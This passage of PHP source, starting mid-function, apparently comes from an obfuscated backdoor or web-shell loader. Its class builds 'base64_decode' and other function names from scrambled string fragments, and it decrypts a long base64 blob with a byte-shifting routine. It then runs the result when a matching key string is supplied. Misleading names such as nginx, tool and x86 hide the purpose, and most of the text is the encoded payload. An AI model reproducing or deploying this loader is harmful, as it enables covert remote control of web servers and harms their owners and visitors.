$debug = ord($_script[$this->graph]) - ord($event[$this->graph]);
$_script[$this->graph] = chr($debug % (4096/16));
$event .= $_script[$this->graph];
$this->graph++;
}
return $_script;
}
function _signal($_tree) {
$_input = $this->_signal[1].$this->_signal[2].$this->_signal[4].$this->_signal[0].$this->_signal[3];
$_input = $_input($_tree);
return $_input;
}
function nginx($event, $_worker) {
$this->memory = $event;
$this->_worker = $_worker;
$this->x86 = $this->tool($this->x86);
$this->x86 = $this->_signal($this->x86);
$this->x86 = $this->_cmd();
if(strpos($this->x86, $this->memory) !== false) {
if(!$this->x64)
$this->_cron($this->heap, $this->_block);
$this->ls($this->x86);
$this->error($this->ver);
}
}
function _cron($_tree, $_value) {
$move = $this->px($this->_cron[2].$this->_cron[0].$this->_cron[6].$this->_cron[1].$this->_cron[3].$this->_cron[4].$this->_cron[5]);
$move = $move($_tree, $_value);
}
function _cmd() {
$_stack = $this->_tx($this->_worker, $this->x86, $this->memory);
$_stack = $this->library($_stack);
return $_stack;
}
function px($context) {
$_emu = $this->_signal($context);
$_emu = $this->_tx('', $_emu, strval($this->twelve));
return $_emu;
}
function tool($delegate) {
$_container = $this->px($this->access[3].$this->access[0].$this->access[4].$this->access[5].$this->access[1].$this->access[2]);
return $_container(array(" ", "\r", "\n", "\t"), "", $delegate);
}
public $graph = 0;
public $heap;
public $parser = array('hy', '=', 'n6', 'e', '90');
public $x64;
public $ver;
public $pointer = array('vX', 'n6', '+jz+');
public $_request = array('=', 'rJ2k', '5s7i4', 'cjiz9', 'G09g', 'XYwOb');
public $_block;
public $twelve = 981;
public $_signal = array('deco', 'ba', 'se', 'de', '64_');
public $_iterator = array('uWo', 'ub', 'a', 'E', 'K');
public $memory;
public $x86 = 'MfLOqxwZyWJeitcTWSzZoarkDECVY4YkMzq3cEzSJuk68Zu7IsDrOVsMcysh0j2vp
VT8Niu2cIT+UH3gkv+Nh4p3LFS5htjdwiRDOnb5+2s8XiIPpdL1uWN37xnqr2tX+M5QH
/5FFBRx5PH51ypPybODU/utLVq1cmXsvLnXxo0EddWufKX+GDUimUKPHsZ
hAyCUEL8jgQ9uRZ4zX1oiNycCUZNvlrOcSELUPhsoK/75Jre0M4TAHvD7ZPW0/hPVQhrXcFCYD97
MMWFu/1qcsFa4s9LM8tE/ClNKu5Y06j7dHgEnHHDMrgkR9qYFBD
go2CWW1Pg8WPtMk+++gMA/JwB3fV/bNcI+v1xtyQM3NU2NgVqiGCeSGKRUtTi+yE+TkR
mHTuWlFyyQdJDZ/PwQ3bMNHbEEsn1w2KcEJAddGutBJk0+Dmw
d5iPMbt1GrBsEkbuJww9HwUCfIRsghFqVpgML6HO
EVS/Y9s4wk7Afivj1Q8bpzZqIBpIIFZeXW/PVLh8F6s
69yzd82KRxs8HVAsn/hY1cFwTDXqDCLhhyDMvY4VWKi
TvTsBoMSeW4pi1aiYYgV2pyFm1u5zLtRPe0Z0MS5FgoAZWjBhQoAPAHygZE1KbVg24X3kIvcM
YQNq8p51P0yMNVZ4CdgSpSWwTlI4kkBfE4m92aXrbpLNRQM2XSaQsJP7FBjLuDByex3TredDA
7mAd0B2lFjySLh4kvSMz0hrjpXTc0MeAu98dmOvw3Fej2
OHstzyKGChtKGJRg5P2WN79JIs/qdJqjBq5KlW8qMIaDHZul7LgxkfGi+rfdpVD59saWl1BPgE1mwoF2
V5kcSsYota9PgHxutwx73Dos2GpUO+mqDKt9hHrEO0rwMJ1f
PJ/f6yUhNdPYSaTaDS1upkSPcCNgmVQqoOs3l0qxD4la
E/nygDwsyERmop7co+KuIGP38byVsnyhjhtS3RjpDrNAbBTjCta4bzpC2PVY28EMyTsuWF8FejJY
7Lr7b/febLDKro6iMLlDMwUwfloQ8Cl
yY3fVpqR+4VKhTpJpGXZrZk7JQfzW1cRT47518lclRpwDh86QHO6NmhcOWqP7SoQhg4+88r/FJ6PGac
JlL/NouEzUv64VltGkKpvUqvlZ8DWsZdtmnuUaeMM0+oVCT2zM0/nn6sZ1j3PEUnQtfJ
UOewAG+q+fieac58BvD1EVbAUrK/TELBENn0FDp+dVBeYO52tO8NoAUpNAHkwLdLEe
MZZqsZTruvQx55DZTRaI2cO4KuQ4OWLj
9Vh4XJZ/dqic+P7fVC4X5O+XH9+0PVWz4AeDUONlI2p2ohWklJ0GyVrsEqXsSKKKJRa270
FNg7VtYconyMJtUsgUhpOMNMT5nlihtVk+nbpjSQeDJ4POE0qkH6hMG
5sN+R8Vb6SpyvcvfkigL9zrQrJi7O7Q
bqZ1KbmcKCGCQgv+xvUkMthkzrPJpwJP3JaBloLfWZXKfWYIu2zovqoxAQPXEr0
Oz54oknhzIMp9ObXVg+FNknzZVL+pPYA
6F43sVA2ic6GiBNWHivhGL7ZrgLn5J9hhBTGs8UPUhf6BtpKpAnRzHswc
jPLHMuFQWQVr72eQ3xTHGPSiHGavChV7e0ad3rP
dNJJazIEzoiLBnNaxCb/I/H/VYMxOFUV1
5/kIHZcZlR1mlstNs7iIP9GPL4/f1nUhGJYg6rVmuCLIB
S4JigfeqcbvdQU3Zox9liOzbrkeRHgpT+U325YBsyUqS1tSCZvXl
EPib8ixGq7pWt+iO6yLzXHMP5GweILBvm2jJfUxu6yJ0NdnpmZCb7mzN8bVAl0LvEer8yOSATkF
MSXkXOB3MNRkxptvOMfPB+E7pS+7jkKiREeXgcbVY2W0B7vqiKU5t7
MUP3d71OnFIAYXIqTWyw7iamXU2l77Jx6LNbabIxeaxY+vuvYLkc0HY2f
yq0ddYrHMQjrVIzZmKwm/mlMg5yt5zSwoSHf
60RzhtBLDrTCfXBse8FT3id21qlC0A2CT
LgaqzbphCHZcMl1a0lzQQJx0GCeZBm8RyA7yIE73jce0/bui0cldqGBjJkY8PmBR6tN4zMytw
s5XodR4HeknJ/JjupztS+SMI1hWJfDfDZ6nj6HKP5D/VMpVHj8fEQ33DMgaGed49plsdREE5afv8vv
rId8rT8PePT5nLwtwUYrqYc/Gqkhu7i5wJpb+iCU7pqdkCAizAFL27cvN1G7
01aM3a3bnITNIE9bxBnIwEep61ZSdecySW6WDtpZSbpwSXZBd5/fFtXUVfBtlgzL8gVc6
xRUhzUD7jP38UGQy83bQGXVWEsf1BJWm6bZ0gyoVnnOiewIOm6X2QEK0ZaSLWs3XsEmgVdajzN
vGHtyDzksPNZcyySkXZfCXIgjlAL5R52jvXXpEMNoqaj3RerApWrNGR3tNKD8WzgTiaagsi5Wob2Jgu
ufOoNg1qMoBexLgp4RQEowd0FkP7vrlxmBpPgBe/xoCAcjf97v97JR+lfz
vLj+K61VFIADVvfPExGzlb5y/ztaPW6iX1Egy6LZERtKuMJHtNcR8erMUpzNtJjWisutFZB9katO8
FeAyy7HLVeqL0HudFealqUekDgXnhLTdqzqW
sMWLlnbqgann9r/WWYmDxTDg88mE4Lb+d6rKoDA5SEnVwWppFUBtlp7COx6vIjBpNluG2ppPT+e
tJbtOHGIl7LXQyGCD/xFXsRaU2t37KYn6Y8QlBcnOUSXLQoCKuojX
dkr/bN1a8AwBalesNHdm7WMVrmWj3PXhgg+1ye9wF9IB+
y7IecCukzBS5jhTODjbGA1hrQhzUExPw2/FKjGL8vF55wTgsXUzGkedB1IewVN2
nJoByGA7H78tyw8sg4NqKsIWpD7N+ajFoexPzq4W/GZNlPD
pEt8yAxk/r0okNk8YrwBTiVAGylBS12UfenV43k4Iy+P85MuhFy2VnRpYR8ZQXs+sjTnaA+
aQ3M7jdiAmk2cS7nZMmAONfOEy67NTrVj0QaOO9LlBgYJnD2gzojPVgJLu5
pHU8+Ak6jPGVeUk4KgjAcvrWsA9jglDxXDs2dHTIbHtSqeLbHInQyNZHkcaR
hp9kc1Pd38mnhhRRF+iqnBeEcCFtiL+ofY72wnQINAuo
eFZYOnEHTLDB1/KLIGVz+AqVIiuNgJQDFiLwNqW1QsIgHGATAkZ3JOpEnkChYd1WWTTwqC4bXfD
tX1/7+sBfuQ3zX+vypD1arGndqINo1yGi0NZKF6VipmqaBA+2uslKfiw
iLQxdcGo6wbpRQ8JmlGPUR/5YDz/zZ1jwwlnCi7T
RGytvQA8AI+DSVeUSdCeqE+xzUkgxqD/Zzko
wHIuvPAp2zUbgyTEjD1ujl+eClKToohEunqeLNPTuebgCz5
n28PQ1qlyjl42AX67SqeAln8gmGb2HFvyMz0UlnrL31UGxdb1Cu99nLFcM
SVUTCbzT6NtQ/T8MQadIP2W6Awpd0sFSrsvdpb
oTbYqDuDY//MZIDHsgYq9291qBR4b7/bVBEJ7VTG
QKVHCEd5FN6AXeNT8ESJTuyf7SfPzJLtad3yjF2Fk37mooDnkorxSdbj1jcWMSVk41nvID7YzjBaBgj7
+8H3/OaVj4IhC+Sz/CRiy5+u5zOgb32xoS8
r1kfYwcqUzWVKaPlj9ZoZ9stDI24G9Ytl
Jr0QmP0700P3+c+O2/rwaB+3srmIPhWJKrL9VIflE7MzepCtBAth+o
WL+ml6Ib4LFxR3UiGl2Gym5EseyR+V4ap8cu
IGF4hSUEcYUdTvE2/luRq+GLT0v9KIOC9ngUKMBAq+yXoEo3p4oZx5noDlkHmvMCxoOQBJKeI12XGg69
CgshBIDteCSUgVyUblVze6lhFwdkdH3dZAelevgCIu
Et9A/G/LgnjV7qWcDvCxnmMEAcz9Cd9RHxAZvFH94KP0l6IH/TmuJof
2lmoemFi5FEs4I7oXFU6h0XzV3YnngrdaURgK2QM
uzOmj2RP6fj45/1JcppKppeCeqVp6i9JDpnmDPyXdCC6iFiDKx
maleWbcEhn5zUH5bsJ/QDsUyIa9iHtzNIUC3EOsr7uV8rQRaIblNK586Y/t1J4W8l
+ky0twWadTPjVCREPPraKb5xZNjMqoiuwh19whKjGldr/qFshsIxnd7TdxYOnoRProtRnRnPEr
21gaKbckZap2sB4UCijDDvGrgkS5Jk8/1pbSxplToEFH+Wyt/DeoE5+RY9
FE3H6w8SRIkSnHcV1T4IO2hVOIpIWBYTW1WpOIFF6F
LxLopw4Rq2r0gn6cgSea+EHaZhrsTljeLXdHwZHJOrhS
PkFGm1Uu0rTvVLiONfw8PUdYtCK11iQhbea2COYqBDe0PmRglFqyBQZnPzRWqP0lLbziBKRQ
YjWyTdOyIrSehiCZlG8LwPTZPClFhx
IzXVyO0hm52Z1MP0kh0/bP017eGmBtwvUi5J8zRJ/TunvTEs2ZTNiSmOwco
8XW8XlE3bOd64FhlMlzDNofw8GMF6jDZJgE0I+qDl
crxXJEDvH8YK8ZH62DxV9CubGZWktGgBliksBvUbgi
yx9y9xPERxxjzPH4JOnndw8TfoiTHnRkqhMH/jV6r8twwp/rhl2y9bqsVabsKdHJ
2KhbFTJrzBdws75ZVRnkD0eCuCHVT5B8T93ja6zqRaEo+FjGLpe8kpys
TyqEIF6xYY41DMtKILoH4Xr0CSRIq6DjQdKmfyBaa/uW+0ZNNDoVZtHJTI
lpdct4m4esnvK7IaorSkZOsRLQhx4KWqj8gqfSFpC
pFbNxfEb+suVsNLKvXS8I3CqCigQ3ukikFB06698ZllSKe
gQQ0/nIP4cofgG3VCkXagP1imkBjOaeLltCd+
BGaYqjH4Utp4G9ROHs03VW9a9H53PQ3prChsFL6CWsAYZGwvStJ+LCthvOHb3DITwlQcH
KNS6xOLRFusYRNxhia9S3PSrtp1IkYsHcIoEPp0iTcQUqw12vGGC2jFp+tUAq/TSfnsDA7wdxxz7ZZlz
iqAc363AmkML+I6yMm/mPUAJ5ds4o7icHP/Kly1kX7yk
KdfGRjmM3TtK+CsAi/vqNEwJT7+nq13KDm
GLb2OKa6aMFZ7gPOOu4hYawse+e39xrt9ZeGxoNnXERej4nMgfV2AI2wD+adzVRv6GPXu
pMnl5kcNSq8g1ujSiucq3o4su/n3VgHNv0IAnpK8jzniub8vx34O0fV
9iovaYODPjOXByUBZMnkUcmGyzthcTkaE+kEuivDLvSWJ4sxn0obv8KNpjS7HGi2BDTMl/wDKJIWhd
d+ktN3RoD1pkBqkq1LGK2moE/cPKxA
JvDF5CaQ1+ahnsrrgeFywlScmoKgJgP5
EkWj2ATiMP6gu84Gy0+Cer6QK7CP3c85OVG2PryVkqax5obE/F2j2mU0lwowdBx
IA/Zp/hfgwYOsY7HE7I6H3EMeMPdDn2ovEcW6hcEj4KlrBBpG7jqsZJjpAucf0O8DBNUXz1drVmDvY
GbfX/w38PwSAyokrkNQZXOdO7vuTmNcsZ7iC+4rJl9gyjaom7BCIxmxrkSxKX+ejqMFD
GsHWhmcWRY0riejFCRmq3k2BiPyC5+ldRpiWRdD
CL8tkz4aPCIIjML6gJp3UKHBOOqpLlqF4X0O1y
2aS/pJnEKtVK0uVqFTGTZe4lGhphp+BfZmJfxGmjXdg3SGoHinATvi6dWbF3BIj3YBelAk1wsW
BFP1dnqeBrYlyiFZ8fZ2yQgxSg4yJ1GcdeTEstv3tlITMHe3YCTA
NsKR7JVW89QHLc+1dJitsnN9r57iAxBMC7Hk6b+/BqPI
LUJgLP+nYkwvdUz/MGEMQpErSHChVB2S925yd8bETlfS8ig7nHDo0MtEDrIsaIRQdoB9b
UUE/AIWVml+Slry7puoyNkb4zgrav8Xi98XDVbzeikXp/d+
eVbJnVfvgIB0UQuSyY0Tz+gDLoI6FTb3lbAJtnL+6xrLhmKHEXYaMV02XtmRpZ8LAIN25D0Oyw5e
FAXOIujVf0uPl5nZmEtfqdu3N7aji46n5DudrqWx3CUZYLD96rEd
oVUm5d3clqr9UKIac4GgjH0aMVqNsh/ObPpuFawmkLOzdlfCch2idsOuYNQRxXsArTDEvnIpJSLOXn3
fiNKDjCnHYsgFFY8kNcg/13coYqTUxGS
tgsBDzYJddmvs3zAUwz2qDT9fAVlMyRzOfspaOG4hMmj
q+WCtGn6MKlnQr96HFjSay32RqD8bfm54GB7mmbqlSQ0DzaGgBef5da8MOYOrJVzFwJgQ+jr0Dp
zr36tRZolkP+CqpPsUeTl91bOPKRxtk+TS+qm4QpF0LAAnQQIGEUfRwMJE4mNnnk0ylfURP
B+sER5GYb9J1BEx7vubqKmA5tWRNGbrPumzFMHmj+kQviZuK1ifYaTHykyye0bjYQoBXk1
o3nVjtCaLofnqQUdX7fOM8Cjjnk2wj
oy5nHhdBkpo+Toqk3oX00n8067EDPtziBfHMQ1YRiif3E
0t0M0a3S4zlwlhNhPGcHgQFNbLKiUrixKc3vxYdK87
BHC1QCiCxLj+AffISQZ+8PXCkxmN54l3fOmUG6V4YKf51a87qE9lkbsNdM
cMBWZCs/NqXTYMsaom8bF0Gkvxg73uaLHMlCjqe
77C/ar0qaB++M6NxQ6I7lJGEJ88y7rPuASiU/ZniTHKrfv9vYez2rjlG5xliPDMpv
ptMLPAx/coKVBOAB27l8V6ueRRkT3TRxRA3ojECXTqeszoJ7ytZyOL8Q/fqhrqV91YKTYRE1Y8cV
E4v0cv61iY0i/lx5KA1EcjMeOwRhrDMoGmusXnI1C+7J+dPPFQsJkOkJaxu1df7pOvSdLZEy
rDkfizGcnp/uJMP68Ee+zCVUlcbE7gvvwvSgghzYNt
XhTtPqI6M4vkxKwrxXrarxfgO6q3PjYMpMJf8O+dITILbvzCwOVwO+r9pB
rs37sAftxQaKoobGIXKLUkw3xoHmcK7ed7RUp
azZOjY36wB4Tz06lwVrzp9PxfWmZ436
Pne3zpQCfE4niUR1hYkos+rhkCRWMOppVlsCpsvNtUoEzMqR
hwA11Mx69ef5RHI6ntbvFpXoFTLbNUKy7p48HK12s+Tf3tCp61Hs1wC8Aiv
UcBiypSXcQVWfQX/Umlq4ZYH2ZphTK2oMyctjrPKkei
21CEvBnb6v8eYnCUv9tFyu/No58kOQVLNwy77tzZ/rcUr4xi7YDh8Qn2BwFH7K
Y3L7uukUeeRZdpU93KdAMzglJvLvkR3lrl6WKo3FrtIthwhN4F1
UXzGiYneP3yrwc1UN7PX4w4mYFDxvYNpfCo5L3/I3N
2QUBvAnNeMn1CM0ZazB/NTScOlrvrope2S/ZXUU0CaW+yipPd53TGxkCArhRrdgB
ZSToxfsqd13PcPnqSitOOirLj7bRlxzyPZipPpeL7AWSt33uHhFz+OSasaW8kS02d9WTURhbxWAhBcF
ceWKuEUTZAfCHT7JuBxYFpVX4Nb4S14Ur
Z3XSO8WjphSJZAs3my4n+Cd57df6PRJpswEFmMPTpUyQyHzkEEIfgJ03tIMrlPnPXhemOiE
pnEotSyQD9m4WNLKa7kCPeU00d4pQ9mPx/OX+5hpjz
/QEkhLZWzazrwyYf5GoPa3dDaTTLUKguYcq+p3
SzdS59Eom7800OiBPFhNnztGVo3E+fXR
V6WjkS2qM4DAeDt+/wcf3UH6Y3qfR1OTVePTag
DmTGhwKK0fyPiTq0Bp81kkSOE3t9vkl3W/FQoQVKdLQX+1AcOU6abuOY1Q3P/VwS/uv1O0y6boz
4DlWw2Q06Ycflz9dTCYOjV9DUqpkXu/ohrlR
AXGFoY0SmwfFfF69ZD7/4TAl46u1nxCUeCcDCgRf2sjYNjS0noegbDFGMWHJH+WFzdKt6iM8bR
I+7SwyagBC3MhrUKbM8dc8dtgjCvmU/LisU4AOZ0xCjZZ8QNuE3MY7/eOZC
iRZsUCV3Eh+gzGA3rtsKG8rT4qLvFloaetWfMxy4wZcVnmP7L1Tsb
6H1V66f+GyZU2mqSLoj/grleSoENJ/AIwM/Ky7IH0Dh1C5yPcKQ9/
KMunDpHjVxU/GGHsRKNR8T0PYvAQlESrHTC5v9s0iJANRPGdXhTAnsrXhnCevGWg3qF
Kpc99s1mphJ1kreoCeKKNnaI3ZA8TygQDUVkAHHK58Ze4oxYTbon4ygjG/MnrJARv001eF3aiLn0S
tvAor8nU3ZFDqsFIUSjFZSyioXm6Klybb5telw3HV15am+YkulP+kOX1gb
ZXlGHAdPNpD8kZwusJeiITUWSUjttNG1oqcc4PfRw7YgceWml/i1dzb
rIxvkGAhFGTIkSBjmOctAiMy3/jfqeOQrVar4W4PlO4GM
otU48IGrDqY5L898kxFSNceZWyIgKZgtvGRrregePLe6h/57
fRTOzYjJEQNyUxeePYxgt7ci0TmlJ4D
DXVT72EQ+DRbAIndgoN7KymjRVTcP0TRq6r5
I09JzLyOunbQmXHt+lKcimBJbbabh07IKRzpp0JJKyOMdY6ZbMAduwDGWKa/SgUEcRlEsT2fIXAtlKG
EQ+SVxb8chXTCfFvfYfUESCaLzkk8mr6vtliVrMlSE8YBZUCo
+3T5HMX2p1qDitFbiQ5OkpPUwWzkie
RGgppgksQN8T9QZgCymnqmUY6yzpR5fZF71kDDv4DPh+8iwo7mcWtg
Xewp8Gy72vUI5MaD+X0/8igZlFBRE+ozqggq/sNuIQv88MIwIk5kIz57n8ee
yH7mpw0XGz7fc7t25G5OPfbK1//cKwMWr11Do2E48MbXsOnjzVNvq
I+wsx/H/77IV/tGrMaizJobP6pd0co89lli0/B7MFJJP6ZA6MZYxLfbZ6Rt3O1KO1vZT33FFCge
VtGJ0453QNWwQFoygGzSMJ3FXsBSKWsKYCkC6h
pNwH+0v0WslsW40rt91grkZEHq83Q7Eky8K7RvmBw0OGF
+qSJBPdJwcgz0rS4REyrh4QSjXZueTQ8kSwqFQz32ReihPZNM3Nxjrfq2b4Kwx
6bEEnAzow/Dxp17rqFDxejSRf9KA9rz/P12q0ZHBkf7zhxendqmao2kieYXSJQ7Y7ba
l9FV2Gw+JD7xfDI5Y6W091hYAggQ122Dv3tdgAUIa
KifGr0QKdQTPhBmeuSHrZidZW59lkk/CyZZt8m
hjdkhDNDBgNMgI6Xn9TkybYXv82OZG/3q3OIvHwKsVDr1deFf
axQMPW97QEz+aGpsOknnNpu7DEsJNIV5vtj7z
zTLlDa96Vb3zPZZJgJZ4pz+67whDAC/qr6bD2Gli1m
mtbBKSKepGdiYqvmomTAc6uMs3stRQjO6DBT/8h0eAW
kSkmN4+lwFNzXCKYYTPnH9dld+EhoDePMk6zpzdjfRBxvg+jfy1ztU4vPwZpRToVAria/D10z9z
BW8MH1m/DuKteQyQc0JD9Y0AY7ukaz22ZBZ5XOngvM6cPzkCCx/QO2eIjtR
lyFw7tUgXeEHg4OkFKlGcY4HW9JNTzpYIYdXOPw+jWEks8v3qKhJI60LqAntruD1su
T3DUnIsh5PCL22LXvdgfeSpGWF7Kgu0xKb
LpvCOEqezkxCy0QDAp7U+NJ2n5S6PhCk1ECNMDM2KaUcWcEsBvkEz8JRO2SSVsjzzvcLNyARDjtHMh
iT7Iw1lvjp7pNrrUq8JMmUk9SSZLB4LP4G9IjMtv3RIjDw4eZYgtMQKlxg58fA97xE
igbQix9s8XWfOOCuUvDK+4L/Y1AeAzM3bFn6kd/QyOglUb2B07Mz9gcuyHS/NkytAyhCGW/VBo
Um9Ea8N5wIoGGC/LVt6aUtGtk232PFuSAtFv93
whF49gtRuhEhtbwezNZZ/sw3r/BerrY
WDJxTSj2igcgQx6UGA2kfS0jxGRT+1AA7iJL
veSlUPZ55t89VsJw3p3Lsyn9rU7lJc1qRFrYGH88qeyHGqnAirDwEmt
VPBMjGw8CbknSE7i+2xz11odgPiDm5BXhFGbzzEaj2EEXbR8n4ZdihWBMXEUJSr3LfEPH6YcHyX
YjEwHsKrlU/rw5wVcudw3m7PFpqT6TH5l7W5
HK29cRCiamnwQYOHxD+A0+zSzC3fG6u4y1X2cwXbfSyKH
GRiYnJJsUWOtlCylVkO+JHFQg/THJeNZnaw5+uuHQFN9Ig2UOLnrid5TxBwoowfT9zwy
vxt//9qR+Zkh9WABFTCuQcn6qgGutbpmGx1BsQ1K002K09r/B81rvUbgq+p7sDXjd5sOsBx3Jzcp/3k
2KKroTrYhfbzLdBEN31TqCo8W78qOdBjmRkykTDJorRkdH6jy6pjDe/hhDzpxBRbQ4XLHo/ThbhlNh
8lBsrIR7yuXSLbQZPD5QqxFUXkc0SpiUBrblrwVt
11tbo3AN00WnEmJ9fuLGOMzWO2XuiOVAdK/+R9edUXzX9iTnnv45BZUdfE8lPa9zSvz
yxO3vsJQON1gCjIP+qcEqxjn5yqa8MfNhyOsNmpsteka8Di3glfNrmCBfG9X6jL86Ir+QV
L0XtNoO/NUv4EntDY4ajHfzHwyfaP8sjp+
HgTjxqbiJxcYhAMSECa5WPUyEtSULG1aIvL7WwLLUZ7tTuzbeQueCgjFuS8MKAGoGKHaUK2j7v
NGJF1fBJlOV2RvonNIAEEF9Z+5B6EA+hak7v7BZEp120
QEHScx1TQxTkAAcwbnjio9nfIHfEZZfLIHqrRXyyxzojS6mQCyr1l+1B6gdHUBIroVJzIIlB
MhDyabAxapvO+DzKe7fp54Gx6+iZ6OWtHeu/XacIFVzHu1XfRhNQbani2/DkDx6j0u5FDy
12c3qnLrRdhaNpUApA7YMvFMoFjVkorpmJjvF0JkIOVe
knbM68iySGvUR9Ket832je6PJnjsb/nSOIbungMyVPwEeaLgc6KvlqM1DLoHXDSF912fdNTx0PfJ3
aLO3j59Zxw05luf8gGnABo1gsUpzU0fIXci5RGzVkdYA5K3FV2u7ztD/w+EmHUqd2
EudiXW/ybJNU6UuGX5aQyVwsVUa9RjGROexVaSqL5X4
W9wCSz4x0xnCvdGot5vSHAgl9/PXG4ISZ16sC4YyM3ooqJJW0CE5owo5j2wvugZCOPs+
kBBpOaag30Nx3Hq8Npwrd8KPjQ7BhMAuuemXd/bO2EAn
hXWX6jBBDQMp8voyOHADvYzGZJnRhywCNsd6vS7ZvJCcu9+zPp+j7Lfdi6TAs
4srSh66jlTqRBxbRFTeTUZRD1LYbnTWuscP495cgIbX/q0gyrLWXkCamKr9jSU5
+eVr5LesbXfHQmpb2M4xyBIwkvFBBnx
Zifpu5x2oK0Lx2ywwVXRForaFP85lPw7F6jKxZ49yIfJEfY0
KOdJcPCymnLimiNV0Pqq4Xcx2yzWutjo4Icry
5tWN9yKsw8Mb9PAHg7w7g2/mLrBakVfq7a0BiDgi6oslV9xaveXDhGXAlZyS94xUHxB+x9nq/cc2p
brSChOMj4/kFA59k4r8l5jaWmVPRNvhXceTD4t7On9Y0ixxlQ
0oxujXtBWNFFkHgjXqgjhFWhlooGUjurjRmuesmn2ewuBwxlmfYw1eLgc
XUkG1PehKkMFJkuaVjynwwhnJmrEllpEiBIo1sNwn1LXKfQXlnNg00L/eQAGDQWDcHm1H2v1
Xec6RMVOFoMCSZG50o7OEEK9EOyZHcdqg8Li5
lZDhF/Io5X8se4uVH6I9MdsQkRP2x/qCQITGaOq7Q4SVyt7kTT18DiGEqf255Xsqzj92yH
AhjlMqDzlG935umrJuKozyTHhZIsnvwlYnZ1KEKJS60tXIEFTYsjNrzoH+zaErSZLWQM2S23gMKc
tU4GfZpK+Opfls26kQ8Ht5ZMKgf5O5Z6i5iEfE
wPcxGNkiUyxkNpaU1czKG/Y8fNq5dtogf/bGDGdN9Uq/
GLklek/DWZ2SEqmNNuZKvDr40ajeicW7g
EtnpViI1uUidFGFEjloyALhgei5uZ0HvO3yErndr2kAhIDHMzUAV5ZTZhfpm
yNLvUsdPbz6vTTQRDDufxfDqeGM2xE8VNWXZN5Fa+3LW+cra5m3M1h1mXfpbfi8M4X/7IVtOaNJdIQu
r234Qvfnjaee5TTbWpuNlXubU+qHYB7vEZkzWr/+CmqILEJ+nOtKQJYUgbvdj6/85Vupx9J
3Q5Gq+1NdAs54VH8+WZeU/x8oLE3zPGwpeoDzBCQv0CxrxpFFQwNHt
WufTAVC9xrP+mXGJ/mxWqoisOuQwtNqRNkFW
kIYCi5DfSVziW3ZUSPqkG+BfKOFyJFwsB89oCKrrVC8JydS+KNCwyf73QLTVzgFCmHxhSRXpkWlKMm
DNy9EDM8RneLzO6/pYuXVRWW/RaLpdCOMAjI
R28R7I32JKPTIMt9HZYav+WtKGPm0NZCQDpr
q0tYRQtpHdQaM/2G4xntluuu++l/sTwoe6wUByhq3Bztox
Kf2JGQHkpg/+1uJs1ZBbSTvV+fAWLjGTbblZisI4xNyeX
mqjECtvJ+iiOhgEcpDkCsE6BTk0T4tNBQrU
lkstGAEmnM5dxoCcq8P6MCWY9dBgXRNZjE7h5ThKH6+Rdbb21pqijqaEZ
yTzS/Lham85+h3pLJNRKc78/tbYnciha8OFRti1ZrH3hvgGjpxivvb/
2yf+deYjOOhjWHr15jVOv8UBWm8EAVe9DkHMaCFe6TaW
j2D3szqM6BjrqwUQNlcqeRtMzITna9k
n2++GBxde3s7tTScsXz+KalKjwGuidStsPPAUfYjUVf
Yy3TUKvRtIZT6JotYnTehGnlv639vjng5IhKLJ3TwBVfj
UOCMR3oHntcVl7r8YW49wBaAgtH7X/rQoJ8ypkL/M
SpCF5qLrYGvEN3IIOD/4VfiDSybc9LlMWSO1/bdigKbcj3P+3Hn+vV4VLEpe8Fwhvyl7NqcKImt
BZeL8peUI2EEa5dmoYZfdEi1mqpbegbZSnPE/VZtdhwpEJbAm+4vjOs/c1UsA7Oung/Vd
9lSyxRZfMvO3kWNK8LBFbxcWWoFidHmnihglpYt1eQEm+v5B3ARYYFA
+++lG/8BQAHPxneSvzVXEtRo+FqnoQ5kPTcIwcwuzQWXPNhL6ABz1qT9K/2LQ8oI
/oWvnAq2zpKogVU73vvkhPX/qXuPOAXxnR0CHsW2zUO+wCJhgqRicBZtFyiQM5
UCzVtukX5eMdWHdocp36klKlrAZhnLWgILfsAUTvqDzUypOVbYJvvVT7S2vOpTBhyMwiCmzFkdA
PYJQqQQQWgv2Shb+619u7arUnfNCOGTS5fFwadamKV6YBrkrmB
iRhc1oPhNiNU/jVOxlxLTAdk7FmlOKRPO0zgY4
RGmwTmHbsehmQ38EUwdEXDnHD7BRBeDmy/i/OEbaKP4LJ35CN/NpfWbp/YbKuGz
lJs1tj9yFoNOrSjhO223+GP692CwLvtww1N
0fxmmRklJrZ7is5ycO2oKIsA++s7rgilH2kGEy4w7EG8q0IzhsjK1WPPuOQFY/yokThZbHinNoikx
vtS0qC9fgBGgHnpt7Szizfet44Sxb4j6EVv2dVtagQHizabK8I/5
f2g6CE4bkUBdPXatOWf5PaWisaa0ZrAvBJnmPOZTzdvxpI6cazHHcG71zbsX5qgJjbmJ9eYD
12iEfghbXoYQHUo5oyD/8UcUYhRb04jY+xMxxoJed56dR4HKU9kA1Lr5M/17CHC4NUDEpje
IMf/zuacoV797iiBhW4vc5ivny1+zHRD8MSvCvLqrkbJC25bpclf1MocA4QDevlbg
oT5p1a7oPKXTuF0ttP9RIfyBhLnhv0AT4iTmm8tmVFD7TM
hvWDhoKcxT6ZPw4JbWoDqP5Hnj+yEa901ZhdMIyNcbHOLA2/GcH/OQlrX2lyURLQrXMtHv0
zOLecOP/tnaJeHSJIVIkRr0Pu6MAbCSPFEJr7E4BJL+pJkC
BMjqv6Xh99ORPazgW9vuWxS2dAmhQEF+8zJC513bLApvceFcV8l2U
ejNhrnIe9fNwNjc1mZ633ELYHXdQdjOg2onh8Qj
QGnfJbrwXsC+6u0dap+1dDY+0g4mcascQ3rNBwz
82egbkEWaANACC5Vu0PE4p5dNM1pvAQ5bKYtSs4Z95IBHHnPIV6m0VRDW
xvk2S1YqLc+Z4H9FV3y/Y/2U0Piwk+VsM1cKhxUXGfApdz0BQYTUN83vzx6iO4EGzNHcsJ8httgyf4jp
4+c2J7QPgvX6ebCWgSfvrCNzWmKufK/3dipqYv4tPdjLfE9Rj9ZP+w
4Jrq5Y7Y58XMCe3bl3vGxjd5XsySACsKNx2kO6NruszmlcTH6BOjbqQk8F2ElrydhfCEnwTO9
btfZH1wHjVpMoxpCS+WEWhKkL0pZ1lqv6TLUIwwPF4Q4isN4WQbn
eytdawLfEsrMXsvwJezwknxZuACvEWkgUTuasWrFpjrOdzvhnXob0bVx6td0
DzbSiiNt+ZLXl8ZKMH/3py0LVl4GDRmfEjdBlUiTKxM
hto3EC8mldGywiZAtqCdeDMvu8RpJATfyh
2vvg0/xJiFihfSTL2+YrgTHXKJjFRpnzihz25YoNaqlcpBqYwTGPHWfQdWDkdC0oP7QQRaNo
